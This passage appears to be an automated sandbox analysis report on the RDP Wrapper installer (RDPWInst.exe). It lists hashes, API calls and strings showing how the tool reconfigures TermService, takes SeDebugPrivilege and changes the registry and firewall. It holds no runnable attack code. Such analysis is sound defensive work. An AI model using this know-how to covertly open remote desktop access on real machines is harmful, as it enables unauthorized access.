Source File: 00000000.00000002.2503709736.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5760000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40f39e067cc5c62f27e4d64fdde3fc67aa041bc72a0ff228ccb5710f3542c6f
Instruction ID: e63ce037f09420a242c4c1a7858b20c58421d394c65a633b7aa6a841975feed7
Opcode Fuzzy Hash: c40f39e067cc5c62f27e4d64fdde3fc67aa041bc72a0ff228ccb5710f3542c6f
Instruction Fuzzy Hash: 66419676F101258F9B58DFAD9C8449EF7F2BF8C220719856AD819FB324D6758C058BD0

Function 0576499A Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2503709736.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5760000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fa60d096ad44fca672902bdbbbb1b222cb848d600f2db6d1a03d7683047682
Instruction ID: 48c3b83dd5753b60409358db6f5d603bb0aa0a63c3ab8403a6bf19c4de9d666e
Opcode Fuzzy Hash: 41fa60d096ad44fca672902bdbbbb1b222cb848d600f2db6d1a03d7683047682
Instruction Fuzzy Hash: 3D41ED7BF401394FCF14CEA8C9844AEBBB7BB88210716466ADC55FB361D6349D068BD4

Function 05769698 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2503709736.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5760000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd5c885b763fbcba48c88ab59cbe5110e590eea4630d55639c009ff389ade76b
Instruction ID: 96ad5f4b80e2e012fa9626085fbc417695f6a6897efade41534eb518eb9328fc
Opcode Fuzzy Hash: cd5c885b763fbcba48c88ab59cbe5110e590eea4630d55639c009ff389ade76b
Instruction Fuzzy Hash: 1841E576F101298FDB64CFA8C9804AEF7F2FB88214719816ADD05FB355D6349D06CBA1

Function 05763890 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2503709736.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5760000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41881f7dd73d32b43840296207b8fec6c6df571094307620a66631681956e7ee
Instruction ID: 17d92306f92a04ceb79053f0789b2c58481ae62a27cfee2d1527cc5ef252a8c0
Opcode Fuzzy Hash: 41881f7dd73d32b43840296207b8fec6c6df571094307620a66631681956e7ee
Instruction Fuzzy Hash: E141D333F106394FCB14DE69884459EB7F6BBD825075A49AADC06FB3A1EA348D05CBD0

Function 057638A0 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2503709736.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5760000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8c1487a2ef50d0d7588dd1dfa7235ffd97e89d55a2cd3c8c0f400b0e1d745bd
Instruction ID: e96d8e0ef1b4d7df7caa19f55bdd65ed4a1b70153a86e98dfc1685d2690a08cf
Opcode Fuzzy Hash: b8c1487a2ef50d0d7588dd1dfa7235ffd97e89d55a2cd3c8c0f400b0e1d745bd
Instruction Fuzzy Hash: 4241E333F106394FCB14DEAD884459EB7F6BB9825075A496ADC06FB390EA348D05CBD0

Function 057627E8 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2503709736.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5760000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37d2f544a839742908bf3b3f822755091d2afb269e7d6a68efb493f521591516
Instruction ID: ccb3094c71390422578232930af77981bf320f8d44be53bad9638e04f4562577
Opcode Fuzzy Hash: 37d2f544a839742908bf3b3f822755091d2afb269e7d6a68efb493f521591516
Instruction Fuzzy Hash: C6415977F102294FC754DE98C9845AEB3E6BB9862076A456DDC05FB361EA70DC008BD0

Function 0159DD09 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2500228720.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2f98a204119ee5023521de9297522a084d20ae815fa648997da1892122a1dde
Instruction ID: b7af69574613210a86e5a6acad62be0eac0f63b14f2d26038fa3a718e7c72641
Opcode Fuzzy Hash: a2f98a204119ee5023521de9297522a084d20ae815fa648997da1892122a1dde
Instruction Fuzzy Hash: C831B336F0462A8F9B54DFADD8809AEB7F2BB893507058169E509EB351DA709C11CBC1

Function 01599FE0 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2500228720.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36c095f7991691ad1680a5335ed7cee86619d24878b90eb9ead5e9ebad48498f
Instruction ID: 527086b9f7f2668dbd16b7537fe6d77cc85055ed8bbeff76a9b8d85f814e915c
Opcode Fuzzy Hash: 36c095f7991691ad1680a5335ed7cee86619d24878b90eb9ead5e9ebad48498f
Instruction Fuzzy Hash: 1331F473F011394FD750CA6DD8805AABBE2ABD522070A81BADC49EF345E6749C06CBD0

Function 01599FF0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2500228720.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59f69fcc4631121f40844e18dd08ddd017ea2b2a3dd13c57b625da427ee1be20
Instruction ID: b96d6bf6b9d880a7eaf5fd62c5d46f40cefe3da9f5eeb9dfbeddbb319319b0a5
Opcode Fuzzy Hash: 59f69fcc4631121f40844e18dd08ddd017ea2b2a3dd13c57b625da427ee1be20
Instruction Fuzzy Hash: AF21E173F001394BEB10DA6EC88059AB7E3ABD426070A816ADD4DEB345EA709D06CBD0

Analysis Process: RDPWInst.exePID: 7060, Parent PID: 5496COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 0043B7D4 Relevance: 33.6, APIs: 9, Strings: 10, Instructions: 336
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000005,00000000,0043BC5D,?,?,?,00447324,00000000,00000000,?,00443F06,00000000,00443FB2), ref: 0043B801
GetLastError.KERNEL32(00000000,ServicesActive,00000005,00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B80C
EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B8A2
GetLastError.KERNEL32(00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8AF
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8BF
EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B953
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B95D
GetLastError.KERNEL32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B962
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B99F

Strings

$sD, xrefs: 0043B819, 0043B8CA, 0043B96F, 0043BA28, 0043BA5A, 0043BAA8, 0043BBED, 0043BC13
ServicesActive, xrefs: 0043B7FA
[-] EnumServicesStatusEx error (code , xrefs: 0043B8CF, 0043B974
[-] Failed to set up TermService. Unknown error., xrefs: 0043BA5F
[+] TermService found (pid , xrefs: 0043BAAD
[*] No shared services found., xrefs: 0043BC18
TermService, xrefs: 0043B9E3, 0043BA7D, 0043BA8C
[-] TermService not found., xrefs: 0043BA2D
[-] OpenSCManager error (code , xrefs: 0043B81E
[*] Shared services found: , xrefs: 0043BBF2

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLastService$EnumServicesStatus$ManagerOpen
String ID: $sD$ServicesActive$TermService$[*] No shared services found.$[*] Shared services found: $[+] TermService found (pid $[-] EnumServicesStatusEx error (code $[-] Failed to set up TermService. Unknown error.$[-] OpenSCManager error (code $[-] TermService not found.
API String ID: 2770857348-2470772499
Opcode ID: bdcf77957b8ef17359aa2c2f35968ba8930b31ce6167e8ba152cfdf214f6386e
Instruction ID: fb74497bf6b161f68451673f63bd6f491a4d1cb4b87c09a1aee9fb4a9c308b37
Opcode Fuzzy Hash: bdcf77957b8ef17359aa2c2f35968ba8930b31ce6167e8ba152cfdf214f6386e
Instruction Fuzzy Hash: A1C15074A041049BD710FBB9DD42B5E76A5EB89308F11507FF640BB292CB3CAD058BAE

Function 0043B1A8 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 118
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000,00000000,00000000,00000030), ref: 0043B1FE
GetLastError.KERNEL32(00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000,00000000,00000000,00000030), ref: 0043B209
OpenServiceW.ADVAPI32(00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000), ref: 0043B24F
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C), ref: 0043B25B
GetLastError.KERNEL32(00000000,00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C), ref: 0043B260

Strings

$sD, xrefs: 0043B1CA, 0043B216, 0043B26D, 0043B2CD
[-] OpenService error (code , xrefs: 0043B272
..., xrefs: 0043B1E1
[-] OpenSCManager error (code , xrefs: 0043B21B
ServicesActive, xrefs: 0043B1F7
[-] ChangeServiceConfig error (code , xrefs: 0043B2D2
[*] Configuring , xrefs: 0043B1CF

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID: $sD$...$ServicesActive$[*] Configuring $[-] ChangeServiceConfig error (code $[-] OpenSCManager error (code $[-] OpenService error (code
API String ID: 48634454-398082305
Opcode ID: 3b1e76f9c62e1046217b3bbe464b976e02e2f47daf27cfab7c11257a6428595c
Instruction ID: ec3001641675e227f0f71ffcc16d431bf32a474d6a16b1f18b89db5f0a2815a5
Opcode Fuzzy Hash: 3b1e76f9c62e1046217b3bbe464b976e02e2f47daf27cfab7c11257a6428595c
Instruction Fuzzy Hash: 32318DA4708210AAE611B7B68D43B2F6598DF8D308F12917BB614A6693CB3C9D0195BF

Function 0043BF00 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF3D
OpenProcessToken.ADVAPI32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF43
GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF4C
LookupPrivilegeValueW.ADVAPI32(00000000,00000000,?), ref: 0043BFA6
GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BFAF

Strings

[-] LookupPrivilegeValue error (code , xrefs: 0043BFB6
$sD, xrefs: 0043BF7E, 0043BFE1, 0043C063
[-] OpenProcessToken error (code , xrefs: 0043BF53
[-] AdjustTokenPrivileges error (code , xrefs: 0043C038

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentLookupOpenPrivilegeTokenValue
String ID: $sD$[-] AdjustTokenPrivileges error (code $[-] LookupPrivilegeValue error (code $[-] OpenProcessToken error (code
API String ID: 1401577899-1200187420
Opcode ID: 4f72a90d0289c3e65b588dbff969bb89f75e63602ae5a34113a3e67517c1ed7a
Instruction ID: 40249df541e28cb1c3cbeffac081f98f3db748ff3bf72c69c2aa91bf02ef4f1c
Opcode Fuzzy Hash: 4f72a90d0289c3e65b588dbff969bb89f75e63602ae5a34113a3e67517c1ed7a
Instruction Fuzzy Hash: E5412475E00218AFDB04EBE5DD81A9EB7B8EF49704F11407BF500F2291DA789D059B6A

Function 0043DC64 Relevance: 6.1, APIs: 4, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150,?,?,00447324), ref: 0043DC7A
FindResourceW.KERNEL32(00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150,?,?,00447324), ref: 0043DC8A
LoadResource.KERNEL32(00000000,00000000,00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150), ref: 0043DC97
FreeLibrary.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150), ref: 0043DCF5

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LibraryLoadResource$FindFree
String ID:
API String ID: 3272429154-0
Opcode ID: 15bd354d354d96cc7854a01dd3595191e335ff94095102c971dcd749e24b3d64
Instruction ID: b141022db8bc2a2b6abfb651a233e3798db1869765cd13709d0418182ea328c4
Opcode Fuzzy Hash: 15bd354d354d96cc7854a01dd3595191e335ff94095102c971dcd749e24b3d64
Instruction Fuzzy Hash: 9411E3273067445AC721DA268A81EDF3B169FC1340F09C1A6F9009F396E679C901C39A

Function 004093C0 Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,?,00000000,?,00409584,?,?,?,00000000,00000105,00000000,004095BB,?,00437408), ref: 004093DC
GetLocaleInfoW.KERNEL32(?,00000003,?,?,00000000,?,00409584,?,?,?,00000000,00000105,00000000,004095BB,?,00437408), ref: 004093E5

Part of subcall function 004092D8: FindFirstFileW.KERNEL32(?,?,00000000), ref: 004092F2
Part of subcall function 004092D8: FindClose.KERNEL32(00000000,?,?,00000000), ref: 00409302

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: a26faab687ad10f6bf339373f2b132671eb58a1d7de5f88059ad0fc6f14c2cf4
Instruction ID: 6b7a5b6d94b1cbf22f3d71e7f3d695f59a60f48835f9eba26b4dd19c2a33d547
Opcode Fuzzy Hash: a26faab687ad10f6bf339373f2b132671eb58a1d7de5f88059ad0fc6f14c2cf4
Instruction Fuzzy Hash: 58F05E752412086FDB00DE9DD888DA677DCBF18368F4044AAF94CDF382C679EC408B64

Function 004092D8 Relevance: 3.0, APIs: 2, Instructions: 21fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000), ref: 004092F2
FindClose.KERNEL32(00000000,?,?,00000000), ref: 00409302

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 6b2b30213d2c3205255c74374c6d0cedf81d32bff8ef7784ed5e0124d95693a3
Instruction ID: eb757cbb51915ae52a623e93d498bac1ae70d661531f8aa58739ae681ecdb70c
Opcode Fuzzy Hash: 6b2b30213d2c3205255c74374c6d0cedf81d32bff8ef7784ed5e0124d95693a3
Instruction Fuzzy Hash: B8D02B7250010823CA2099BC8CC9E9F734C5B05234F0803677DA8E33D1FA35D9100198

Function 00409D02 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00409D08

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: dcf78b23b46585e2dba9b3fc2d517005d4dfc9a18e6822ae8d97214c6ea3767e
Instruction ID: dea72ce09e15e74ad366377f5463cd755b9610de14ca7f4492471b38ec8a052a
Opcode Fuzzy Hash: dcf78b23b46585e2dba9b3fc2d517005d4dfc9a18e6822ae8d97214c6ea3767e
Instruction Fuzzy Hash: 12B012106085015BC908E73D4D4744B31C01A40524FC40234745CE62C2F65DCAA546DF

Function 0044373C Relevance: 81.5, APIs: 8, Strings: 46, Instructions: 524
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$sD, xrefs: 00443761
[-] Unsupported processor architecture., xrefs: 004439F8
[+] Successfully uninstalled., xrefs: 00443E57
[*] RDP Wrapper Library is already installed., xrefs: 00443A41
do not use the software., xrefs: 00443ACF
-w get latest update for INI file, xrefs: 0044390F
%ProgramFiles%\RDP Wrapper\rdpwrap.dll, xrefs: 00443B2B
[*] Removing files..., xrefs: 00443D87
[-] Unsupported Windows version:, xrefs: 004439BE
[+] Done., xrefs: 00443F83
-l display the license agreement, xrefs: 004438B7
Copyright (C) Stas'M Corp. 2017, xrefs: 004437A3
-i -o online install mode (loads latest INI file), xrefs: 004438F9
-i install wrapper to Program Files folder (default), xrefs: 004438CD
[*] Uninstalling..., xrefs: 00443D0F
[*] Terminating service..., xrefs: 00443BE3, 00443D53, 00443F08
LpD, xrefs: 0044374F
- To read the license agreement, run the installer with -l parameter., xrefs: 00443AA3
- By using all or any portion of this software, you are agreeing, xrefs: 00443A77
[*] Configuring registry..., xrefs: 00443C68, 00443E0F
[+] Successfully installed., xrefs: 00443CA2
[*] Installing..., xrefs: 00443AE5
SeDebugPrivilege, xrefs: 00443BF7, 00443D67, 00443F1C
TermService, xrefs: 00443C52, 00443DDD, 00443F77
[*] RDP Wrapper Library is not installed., xrefs: 00443CEF, 00443E92
[*] Checking for updates..., xrefs: 00443EB2
only >= 6.0 (Vista, Server 2008 and newer) are supported., xrefs: 004439D4
[*] Notice to user:, xrefs: 00443A61
Installer v2.5, xrefs: 0044378D
USAGE:, xrefs: 00443878
[*] Configuring service library..., xrefs: 00443BAD
-u uninstall wrapper, xrefs: 00443925
RDPWInst.exe [-l|-i[-s][-o]|-w|-u[-k]|-r], xrefs: 0044388E
[*] Configuring firewall..., xrefs: 00443C85, 00443E2C
[*] Restarting..., xrefs: 00443EED
%SystemRoot%\system32\rdpwrap.dll, xrefs: 00443B1A
to be bound by all the terms and conditions of the license agreement., xrefs: 00443A8D
RDP Wrapper Library v1.6.2, xrefs: 00443777
[*] Extracting files..., xrefs: 00443B4F
- If you do not agree to any terms of the license agreement,, xrefs: 00443AB9
-r force restart Terminal Services, xrefs: 00443951
license, xrefs: 00443989
[*] Checking dependencies..., xrefs: 00443BC8
-u -k uninstall wrapper and keep settings, xrefs: 0044393B
-i -s install wrapper to System32 folder, xrefs: 004438E3
[*] Resetting service library..., xrefs: 00443D38

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID: - By using all or any portion of this software, you are agreeing$ - If you do not agree to any terms of the license agreement,$ - To read the license agreement, run the installer with -l parameter.$ do not use the software.$ only >= 6.0 (Vista, Server 2008 and newer) are supported.$ to be bound by all the terms and conditions of the license agreement.$$sD$%ProgramFiles%\RDP Wrapper\rdpwrap.dll$%SystemRoot%\system32\rdpwrap.dll$-i install wrapper to Program Files folder (default)$-i -o online install mode (loads latest INI file)$-i -s install wrapper to System32 folder$-l display the license agreement$-r force restart Terminal Services$-u uninstall wrapper$-u -k uninstall wrapper and keep settings$-w get latest update for INI file$Copyright (C) Stas'M Corp. 2017$Installer v2.5$LpD$RDP Wrapper Library v1.6.2$RDPWInst.exe [-l|-i[-s][-o]|-w|-u[-k]|-r]$SeDebugPrivilege$TermService$USAGE:$[*] Checking dependencies...$[*] Checking for updates...$[*] Configuring firewall...$[*] Configuring registry...$[*] Configuring service library...$[*] Extracting files...$[*] Installing...$[*] Notice to user:$[*] RDP Wrapper Library is already installed.$[*] RDP Wrapper Library is not installed.$[*] Removing files...$[*] Resetting service library...$[*] Restarting...$[*] Terminating service...$[*] Uninstalling...$[+] Done.$[+] Successfully installed.$[+] Successfully uninstalled.$[-] Unsupported Windows version:$[-] Unsupported processor architecture.$license
API String ID: 0-551293883
Opcode ID: 7cbbb260217d7fc7a01644a9b38dd862e028c17ba3129eca6f49844f2851695a
Instruction ID: 3b3904e08207714e519852b142ec2c0d1fdd34891fa1322cb905310c24a2fa21
Opcode Fuzzy Hash: 7cbbb260217d7fc7a01644a9b38dd862e028c17ba3129eca6f49844f2851695a
Instruction Fuzzy Hash: D60208A4B091404BEB00BBFB894324EA5519FC574CF92817FB604B72D7CA3CA8156A7F

Function 0043E864 Relevance: 34.8, APIs: 7, Strings: 16, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00447324), ref: 0043E8BE
GetLastError.KERNEL32(?,?,00447324), ref: 0043E978
GetLastError.KERNEL32(?,?,00447324), ref: 0043EA23

Strings

